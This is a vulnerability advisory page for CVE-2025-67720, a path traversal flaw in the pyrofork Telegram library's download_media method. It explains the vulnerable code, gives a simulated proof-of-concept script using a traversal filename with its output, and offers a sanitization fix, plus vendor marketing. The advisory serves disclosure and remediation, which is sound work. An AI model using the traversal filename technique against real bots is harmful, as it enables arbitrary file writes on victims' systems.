CVE-2025-67720

CVE-2025-67720 is a medium-severity path traversal vulnerability in pyrofork (pip), affecting versions <= 2.3.68. It is fixed in 2.3.69.

Summary

The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.

Details

When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.

Vulnerable Code Path

Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):

media_file_name = getattr(media, "file_name", "")  # Value from Telegram message

directory, file_name = os.path.split(file_name)    # Split user's path parameter
file_name = file_name or media_file_name or ""     # Falls back to media_file_name if empty

When a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.

Step 2: In pyrogram/client.py (line 1125):

temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"

The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.

Why the existing isabs check is insufficient

The check at line 153 in download_media.py:

if not os.path.isabs(file_name):
    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)

This check only handles absolute paths by skipping the directory prefix, but:

  1. For relative paths with ../, os.path.isabs() returns False, so the check doesn't catch it
  2. For absolute paths, os.path.join() in the next step will still use the absolute path directly

PoC

The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:

#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""

import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass

@dataclass
class MockDocument:
    """Simulates a Telegram Document with attacker-controlled file_name"""
    file_id: str
    file_name: str  # Attacker-controlled!

@dataclass  
class MockMessage:
    """Simulates a Telegram Message"""
    document: MockDocument

DEFAULT_DOWNLOAD_DIR = "downloads/"

def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
    """
    Simulates the vulnerable logic from:
    - pyrogram/methods/messages/download_media.py (lines 145-154)
    - pyrogram/client.py (line 1125)
    """
    media = message.document
    media_file_name = getattr(media, "file_name", "")
    
    # Line 150-151: Split and fallback
    directory, file_name = os.path.split(file_name)
    file_name = file_name or media_file_name or ""
    
    # Line 153-154: isabs check (insufficient!)
    if not os.path.isabs(file_name):
        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
    
    if not file_name:
        file_name = "generated_file.bin"
    
    # Line 1125 in client.py: Path construction
    import re
    temp_file_path = os.path.abspath(
        re.sub("\\\\", "/", os.path.join(str(directory), file_name))
    ) + ".temp"
    
    return temp_file_path

def run_poc():
    print("=" * 60)
    print("PYROFORK PATH TRAVERSAL PoC")
    print("=" * 60)
    
    with tempfile.TemporaryDirectory() as temp_base:
        parent_dir = Path(temp_base)
        expected_dir = str(parent_dir / "downloads")
        
        print(f"\n[*] Bot working directory: {parent_dir}")
        print(f"[*] Expected download dir: {expected_dir}")
        
        # Attack: Path traversal with ../
        print("\n" + "-" * 60)
        print("TEST: Path Traversal Attack")
        print("-" * 60)
        
        malicious_msg = MockMessage(
            document=MockDocument(
                file_id="test_id",
                file_name="../../../tmp/malicious_file"
            )
        )
        
        result_path = vulnerable_download_media(
            parent_dir=parent_dir,
            message=malicious_msg,
            file_name="downloads/"
        )
        
        # Remove .temp suffix for final path
        final_path = os.path.splitext(result_path)[0]
        
        print(f"[*] Malicious filename: ../../../tmp/malicious_file")
        print(f"[*] Resulting path: {final_path}")
        
        if not final_path.startswith(expected_dir):
            print(f"\n[!] VULNERABILITY CONFIRMED")
            print(f"[!] File path escapes intended directory!")
            print(f"[!] Expected: {expected_dir}/...")
            print(f"[!] Actual: {final_path}")
        else:
            print("[*] Path is within expected directory")

if __name__ == "__main__":
    run_poc()

How to Run

Save the above script and run:

python3 poc_script.py

Expected Output

============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================

[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads

------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file

[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file

Why This Proves the Vulnerability

  1. The PoC uses the exact same logic as the vulnerable code in download_media.py and client.py
  2. The malicious filename ../../../tmp/malicious_file causes the path to escape from /tmp/tmpXXX/downloads/ to /tmp/malicious_file
  3. Python's os.path.join() and os.path.abspath() behavior is deterministic - this will work the same way in the real library

Who is affected?

  • Telegram bots or user accounts using Pyrofork that download media with default parameters
  • The common usage pattern await client.download_media(message) is affected

Conditions required for exploitation

  1. Attacker must be able to send messages to the victim's bot/account
  2. Victim must download the media without specifying a custom filename
  3. The bot process must have write permissions to the target location

Potential consequences

  • Arbitrary file write to locations writable by the bot process
  • Overwriting existing files could cause denial of service or configuration issues
  • In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2025-67720 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.69); upgrading removes the vulnerable code path.

Affected versions

pyrofork (<= 2.3.68)

Security releases

pyrofork → 2.3.69 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Add filename sanitization in download_media.py after line 151:

file_name = file_name or media_file_name or ""

# Add this sanitization block:
if file_name:
    # Remove any path components, keeping only the basename
    file_name = os.path.basename(file_name)
    # Remove null bytes which could cause issues
    file_name = file_name.replace('\x00', '')
    # Handle edge cases
    if not file_name or file_name in ('.', '..'):
        file_name = ""

This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.

Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.

Frequently Asked Questions

  1. What is CVE-2025-67720? CVE-2025-67720 is a medium-severity path traversal vulnerability in pyrofork (pip), affecting versions <= 2.3.68. It is fixed in 2.3.69. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2025-67720? CVE-2025-67720 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of pyrofork are affected by CVE-2025-67720? pyrofork (pip) versions <= 2.3.68 is affected.
  4. Is there a fix for CVE-2025-67720? Yes. CVE-2025-67720 is fixed in 2.3.69. Upgrade to this version or later.
  5. Is CVE-2025-67720 exploitable, and should I be worried? Whether CVE-2025-67720 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-67720 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-67720? Upgrade pyrofork to 2.3.69 or later.

Other vulnerabilities in pyrofork

Stop the waste.
Protect your environment with Kodem.